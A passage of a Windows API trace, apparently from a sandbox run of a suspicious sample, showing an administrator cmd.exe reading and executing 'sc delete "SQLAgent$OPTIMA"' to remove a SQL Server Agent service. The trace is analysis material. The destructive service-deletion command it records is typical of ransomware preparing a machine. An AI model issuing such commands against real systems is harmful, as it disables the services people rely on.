(_FileHandle=0) returned 0xb8 [0072.073] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="$IMA\"\nr$OPTIMA\"\n") returned 1 [0072.073] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.073] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="OMA\"\nr$OPTIMA\"\n") returned 1 [0072.073] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.073] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="PA\"\nr$OPTIMA\"\n") returned 1 [0072.073] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.073] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="T\"\nr$OPTIMA\"\n") returned 1 [0072.073] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.073] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.073] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.073] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="I\nr$OPTIMA\"\n") returned 1 [0072.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="Mr$OPTIMA\"\n") returned 1 [0072.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="A$OPTIMA\"\n") returned 1 [0072.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="\"OPTIMA\"\n") returned 1 [0072.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.074] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.074] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="\nPTIMA\"\n") returned 1 [0072.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.074] GetFileType (hFile=0xb8) returned 0x3 [0072.074] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.074] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.074] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.074] GetFileType (hFile=0x120) returned 0x3 [0072.074] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"SQLAgent$OPTIMA\"\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"SQLAgent$OPTIMA\"\n", lpUsedDefaultChar=0x0) returned 29 [0072.074] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1c, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1c, lpOverlapped=0x0) returned 1 [0072.074] GetProcessHeap () returned 0x4a0000 [0072.074] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.075] GetProcessHeap () returned 0x4a0000 [0072.075] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.075] GetProcessHeap () returned 0x4a0000 [0072.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.075] GetProcessHeap () returned 0x4a0000 [0072.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.075] GetProcessHeap () returned 0x4a0000 [0072.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x44) returned 0x4baa40 [0072.075] GetConsoleOutputCP () returned 0x1b5 [0072.075] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.075] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.075] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.075] GetProcessHeap () returned 0x4a0000 [0072.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.075] GetProcessHeap () returned 0x4a0000 [0072.075] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4a) returned 0x4b9b30 [0072.075] GetProcessHeap () returned 0x4a0000 [0072.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc530 [0072.076] SetErrorMode (uMode=0x0) returned 0x1 [0072.076] SetErrorMode (uMode=0x1) returned 0x0 [0072.076] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc540, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.076] SetErrorMode (uMode=0x1) returned 0x1 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc530, Size=0x62) returned 0x4bc530 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc530) returned 0x62 [0072.076] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.076] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.076] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b97e0 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b97e0, Size=0x7e) returned 0x4b97e0 [0072.076] GetProcessHeap () returned 0x4a0000 [0072.076] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b97e0) returned 0x7e [0072.076] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.077] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.077] GetLastError () returned 0x2 [0072.077] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.077] GetLastError () returned 0x2 [0072.077] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.077] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0072.077] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0072.077] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.078] GetLastError () returned 0x2 [0072.078] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0072.078] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0072.078] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.078] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.078] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.078] GetProcessHeap () returned 0x4a0000 [0072.078] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.078] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.078] GetProcessHeap () returned 0x4a0000 [0072.078] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb0) returned 0x4b9180 [0072.078] GetProcessHeap () returned 0x4a0000 [0072.078] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb0 [0072.078] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$OPTIMA\"") returned 1 [0072.079] GetProcessHeap () returned 0x4a0000 [0072.079] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.079] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.079] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.079] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.079] GetProcessHeap () returned 0x4a0000 [0072.079] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.079] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0072.079] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0072.079] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0072.079] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0072.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.079] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.080] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0072.080] GetProcessHeap () returned 0x4a0000 [0072.080] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.080] GetProcessHeap () returned 0x4a0000 [0072.080] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.081] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$OPTIMA\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$OPTIMA\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete \"SQLAgent$OPTIMA\"", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0xb7c, dwThreadId=0xb8c)) returned 1 [0072.085] CloseHandle (hObject=0x50) returned 1 [0072.085] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.085] GetProcessHeap () returned 0x4a0000 [0072.085] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.085] GetEnvironmentStringsW () returned 0x4bba10* [0072.085] GetProcessHeap () returned 0x4a0000 [0072.085] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.085] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.085] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.085] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.085] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.132] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.132] CloseHandle (hObject=0x54) returned 1 [0072.132] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.132] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.132] GetProcessHeap () returned 0x4a0000 [0072.132] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.132] GetEnvironmentStringsW () returned 0x4c1b10* [0072.132] GetProcessHeap () returned 0x4a0000 [0072.132] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0072.132] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.132] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.132] GetProcessHeap () returned 0x4a0000 [0072.132] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.133] GetEnvironmentStringsW () returned 0x4bba10* [0072.133] GetProcessHeap () returned 0x4a0000 [0072.133] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0072.133] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0072.133] GetProcessHeap () returned 0x4a0000 [0072.133] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.133] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.133] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.133] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.133] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.134] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.134] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.134] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.134] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.134] GetConsoleOutputCP () returned 0x1b5 [0072.134] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.134] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.134] GetProcessHeap () returned 0x4a0000 [0072.134] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0072.134] GetProcessHeap () returned 0x4a0000 [0072.134] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.135] GetProcessHeap () returned 0x4a0000 [0072.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.135] GetProcessHeap () returned 0x4a0000 [0072.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0072.135] GetProcessHeap () returned 0x4a0000 [0072.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.135] GetProcessHeap () returned 0x4a0000 [0072.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.135] GetProcessHeap () returned 0x4a0000 [0072.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0072.135] GetProcessHeap () returned 0x4a0000 [0072.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.135] GetProcessHeap () returned 0x4a0000 [0072.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.135] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.135] GetFileType (hFile=0x120) returned 0x3 [0072.135] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.135] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.135] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.135] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.135] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: 